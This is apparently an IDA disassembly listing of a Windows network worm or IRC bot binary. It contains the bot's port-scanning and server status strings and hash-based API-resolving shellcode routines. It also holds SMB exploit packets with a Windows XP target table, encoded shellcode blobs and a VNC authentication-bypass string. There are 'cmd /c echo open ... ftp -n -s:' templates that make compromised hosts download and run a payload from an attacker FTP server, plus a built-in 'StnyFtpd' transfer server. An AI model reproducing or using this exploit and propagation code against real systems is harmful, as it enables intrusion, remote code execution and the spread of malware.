		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_4318E0	db  2Dh	; -		; DATA XREF: sub_40BA56+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_431900	db  2Dh	; -		; DATA XREF: sub_40BA56+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_43191C	db  2Dh	; -		; DATA XREF: sub_40BACD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_431950	db  2Dh	; -		; DATA XREF: sub_40BACD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_431988	db  2Dh	; -		; DATA XREF: sub_40BACD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_4319B8	db  2Dh	; -		; DATA XREF: sub_40BACD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4319EC	db  2Dh	; -		; DATA XREF: sub_40BACD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
unk_431A20	db  2Dh	; -		; DATA XREF: sub_40BACD+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431A54	db  2Dh	; -		; DATA XREF: sub_40C124+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431A7C	db  2Dh	; -		; DATA XREF: sub_40C124+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431AB4	db  2Dh	; -		; DATA XREF: sub_40C124+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431AF4	db  2Dh	; -		; DATA XREF: sub_40C124+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431B2C	db  2Dh	; -		; DATA XREF: sub_40C124+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431B60	db  2Dh	; -		; DATA XREF: sub_40C124+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431B94	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59B+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADA+B2o
		align 4
dword_431C48	dd 10FF8h, 0		; DATA XREF: sub_40CADA+6Ao
dword_431C50	dd 10FF8h		; DATA XREF: sub_40CADA+79o
dword_431C54	dd 7FFDF020h, 0		; DATA XREF: sub_40CADA+162o
dword_431C5C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF04+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_431CE4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF04+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_431D14	dd 0			; DATA XREF: sub_40CF04+44o
		dd 800000D4h, 0
unk_431D20	db  81h	; 		; DATA XREF: sub_40CFDE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_431D6C	db 41h			; DATA XREF: sub_40D07C+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431DB0	proc near		; DATA XREF: ___:0040D35Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_431EAC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_431EC2
		mov	[esi+8], eax
		call	sub_431E75
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_431EC2
		mov	[esi+0Ch], eax
		call	sub_431E27
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_431EC2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_431DB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_431E27	proc near		; CODE XREF: sub_431DB0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_431E50
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_431E27	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E50	proc near		; CODE XREF: sub_431E27+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_431E5F:				; CODE XREF: sub_431E50+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_431E6C
		inc	ebx
		jmp	short loc_431E5F
; ---------------------------------------------------------------------------


loc_431E6C:				; CODE XREF: sub_431E50+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_431E50	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E75	proc near		; CODE XREF: sub_431DB0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_431E8D:				; CODE XREF: sub_431E75+1Ej
		cmp	[ecx], ebx
		jz	short loc_431E95
		mov	ecx, [ecx]
		jmp	short loc_431E8D
; ---------------------------------------------------------------------------


loc_431E95:				; CODE XREF: sub_431E75+1Aj
		mov	edx, edi


loc_431E97:				; CODE XREF: sub_431E75+2Aj
		cmp	[edx+4], ebx
		jz	short loc_431EA1
		mov	edx, [edx+4]
		jmp	short loc_431E97
; ---------------------------------------------------------------------------


loc_431EA1:				; CODE XREF: sub_431E75+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_431E75	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EAC	proc near		; CODE XREF: sub_431DB0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_431EAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EC2	proc near		; CODE XREF: sub_431DB0+16p
					; sub_431DB0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_431ED8:				; CODE XREF: sub_431EC2+33j
		jecxz	short loc_431F12
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_431EE5:				; CODE XREF: sub_431EC2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_431EF1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_431EE5
; ---------------------------------------------------------------------------


loc_431EF1:				; CODE XREF: sub_431EC2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_431ED8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_431F12:				; CODE XREF: sub_431EC2:loc_431ED8j
					; sub_431EC2:loc_431F12j
		jmp	short loc_431F12
sub_431EC2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_431F18	proc near		; DATA XREF: ___:0040D309o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_431F6A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_431F35:				; CODE XREF: sub_431F18+38j
		jecxz	short loc_431F65
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_431F40:				; CODE XREF: sub_431F18+32j
		lodsb
		test	al, al
		jz	short loc_431F4C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_431F40
; ---------------------------------------------------------------------------


loc_431F4C:				; CODE XREF: sub_431F18+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_431F35
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_431F65:				; CODE XREF: sub_431F18:loc_431F35j
		mov	[esp+arg_0], ebx
		retn
sub_431F18	endp


; =============== S U B	R O U T	I N E =======================================



sub_431F6A	proc near		; CODE XREF: sub_431F18+7p

; FUNCTION CHUNK AT 00431FA2 SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_431F83
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_431F8E
; ---------------------------------------------------------------------------


loc_431F83:				; CODE XREF: sub_431F6A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_431F8E:				; CODE XREF: sub_431F6A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_431FA2
sub_431F6A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431F95	proc near		; CODE XREF: sub_431F6A:loc_431FA2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_431F95	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F6A


loc_431FA2:				; CODE XREF: sub_431F6A+29j
		call	sub_431F95


loc_431FA7:				; DATA XREF: sub_40CADA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_431F6A
; ---------------------------------------------------------------------------
		dw 0
dword_431FAC	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_431FB8	dd 30h			; DATA XREF: sub_40CADA+2CAo
dword_431FBC	dd 0A1h			; DATA XREF: sub_40CADA+29Fo
dword_431FC0	dd 3			; DATA XREF: sub_40CADA+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADA+153o
		align 4


loc_431FCC:				; DATA XREF: sub_40CADA+E8o
		jmp	short near ptr dword_431FD4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_431FD4	dd 0			; CODE XREF: ___:loc_431FCCj
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D330o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_432040	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------


loc_43204C:				; CODE XREF: ___:00432056j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_43204C
		inc	edi
		jz	short loc_432093
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4320BB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_432093:				; CODE XREF: ___:00432059j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4320F2+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_4320B8:				; CODE XREF: ___:004320E5j
		xor	[esi-25h], bl


loc_4320BB:				; CODE XREF: ___:00432061j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_4320D4:				; CODE XREF: ___:00432107j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4320B8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_4320F2:				; CODE XREF: ___:00432099j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_43217E
		jo	short loc_4320D4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_432115+1
		add	bl, [edi]


loc_432115:				; CODE XREF: ___:00432111j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_43212A+2
		cmp	ch, bh
		dec	edx


loc_43212A:				; CODE XREF: ___:00432125j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_43217E:				; CODE XREF: ___:00432105j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_432204
		sub	al, 0BCh
		jmp	near ptr 54452572h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_4321A0	dd 0EFFFC481h, 44FFFFh,	4321ECh	; DATA XREF: ___:0040DC32o
dword_4321AC	dd 42Ah			; DATA XREF: ___:0040DBE5r
dword_4321B0	dd 3E8h			; DATA XREF: ___:0040DC56r
dword_4321B4	dd 258h			; DATA XREF: ___:0040DC28r
byte_4321B8	db 1			; DATA XREF: ___:0040DB91r
					; ___:0040DC5Fr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4321D0	dd 20804h		; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321BCo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_432204:				; CODE XREF: ___:00432188j
		push	eax
		xor	al, 29h


loc_432207:				; DATA XREF: ___:0040DBB9o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_432210	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAE9o
dword_432224	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Do
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
		align 4
aSIpc		db '\\%s\ipc$',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE2+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4322CC	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
		align 10h
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
		align 10h
word_433510	dw 1			; DATA XREF: ___:0040E210r
		align 4
dword_433514	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C64+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 4
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 4
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 10h
aList_0		db 'LIST',0
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00437C78o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00437C84o
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4337FC	db  2Dh	; -		; DATA XREF: sub_40F0D5+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_433824	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D5+2CFo
					; sub_41A4D1+F5o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D5+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
